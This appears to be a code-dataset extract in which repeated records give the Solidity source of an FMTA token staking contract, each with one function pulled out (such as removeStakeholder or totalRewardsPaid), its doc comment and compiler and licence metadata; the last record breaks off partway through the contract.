* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
removeStakeholder
|
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
|
/**
* internal function that removes accounts as stakeholders.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
9785,
10069
]
}
| 55,509 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
totalRewardsOf
|
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
|
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
10433,
10559
]
}
| 55,510 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
totalRewardsPaid
|
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
|
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
10709,
10997
]
}
| 55,511 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
